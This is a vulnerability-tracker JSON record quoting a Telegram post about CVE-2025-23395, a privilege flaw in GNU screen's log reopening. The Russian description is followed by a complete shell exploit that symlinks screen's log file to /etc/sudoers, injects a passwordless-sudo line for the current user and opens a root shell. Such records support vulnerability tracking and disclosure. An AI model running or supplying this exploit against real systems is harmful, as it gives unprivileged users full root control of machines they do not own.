{"uuid": "72825c77-af17-4bb3-bb9a-3f3c3177e809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23395", "type": "seen", "source": "https://t.me/pentestnotes/169", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 GNU screen, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root (CVE-2025-23395)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root \u0444\u0443\u043d\u043a\u0446\u0438\u044f logfile_reopen() \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0432\u0448\u0435\u0433\u043e screen. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u043b\u043e\u0433\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043d\u043e \u043f\u0440\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043b\u043e\u0433\u043e\u043c \u0441\u0431\u0440\u043e\u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f. \n\nExploit:\n#!/bin/sh\n# screen CVE-2025-23395 exploit\n# blablabla\n# blasty \nF=$(mktemp)\nL=${HOME}/screen.log\nT=/etc/sudoers\nrm -rf $F $L\nmkfifo $F\nO=$(stat --printf=\"%s\" $T)\necho \"[+] spawning GNU screen\"\nscreen -L -Logfile $L -dmS hax sh -c \"cat $F\"\nwhile [ ! -f $L ]; do sleep 0.1; done\necho \"[+] logfile appeared, doing hax\"\nrm $L\nln -s $T $L\nP=\"${USER} ALL=(ALL) NOPASSWD:ALL\"\n(echo $P; for i in `seq 8192`; do echo; done) &gt; $F\nif [ $(stat --printf=\"%s\" $T) -gt $O ] ; then\n        echo \"[+] bl1ng bl1ng, we got it\"\n        sudo sh\nelse\n        echo \"[-] exploit failed :(\"\nfi\nrm -rf $F $L\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:\n- https://www.opennet.ru/opennews/art.shtml?num=63226\n- https://haxx.in/files/limit-your-screentime.sh\n\n\ud83d\udcab @pentestnotes", "creation_timestamp": "2026-08-05T00:00:32.251777Z"}